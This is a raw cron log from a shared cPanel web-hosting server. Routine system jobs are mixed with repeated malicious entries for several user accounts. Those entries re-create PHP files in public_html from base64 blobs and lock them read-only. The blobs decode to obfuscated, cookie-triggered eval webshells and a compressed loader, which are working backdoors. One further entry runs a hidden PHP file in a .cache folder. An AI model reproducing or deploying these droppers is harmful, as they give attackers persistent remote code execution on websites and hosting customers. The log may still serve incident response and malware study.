Mar  2 01:20:01 medusa CROND[23741]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:20:01 medusa CROND[23742]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 01:20:01 medusa CROND[23745]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 01:20:01 medusa CROND[23748]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:20:01 medusa CROND[23750]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 01:20:01 medusa CROND[23751]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 01:20:01 medusa CROND[23747]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 01:20:01 medusa CROND[23749]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 01:20:01 medusa CROND[23763]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 01:20:01 medusa CROND[23759]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 01:20:01 medusa CROND[23762]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 01:20:01 medusa CROND[23764]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 01:20:01 medusa CROND[23766]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 01:20:01 medusa CROND[23770]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 01:20:01 medusa CROND[23771]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 01:20:01 medusa CROND[23772]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 01:20:01 medusa CROND[23773]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 01:20:01 medusa CROND[23768]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 01:20:01 medusa CROND[23781]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 01:20:01 medusa CROND[23752]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 01:20:01 medusa CROND[23767]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  2 01:20:01 medusa CROND[23756]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 01:20:01 medusa CROND[23783]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 01:20:01 medusa CROND[23794]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:20:01 medusa CROND[23795]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:20:01 medusa CROND[23786]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 01:20:01 medusa CROND[23776]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 01:20:01 medusa CROND[23792]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 01:20:01 medusa CROND[23798]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  2 01:21:01 medusa CROND[29388]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 01:21:01 medusa CROND[29524]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 01:21:01 medusa CROND[29573]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 01:21:01 medusa CROND[29574]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 01:21:01 medusa CROND[29575]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 01:21:01 medusa CROND[29576]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 01:21:01 medusa CROND[29578]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:21:01 medusa CROND[29579]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 01:21:01 medusa CROND[29581]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:21:01 medusa CROND[29584]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:21:01 medusa CROND[29587]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 01:21:01 medusa CROND[29588]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 01:21:01 medusa CROND[29604]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 01:21:01 medusa CROND[29608]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:22:01 medusa CROND[2882]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 01:22:01 medusa CROND[2884]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 01:22:01 medusa CROND[2883]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
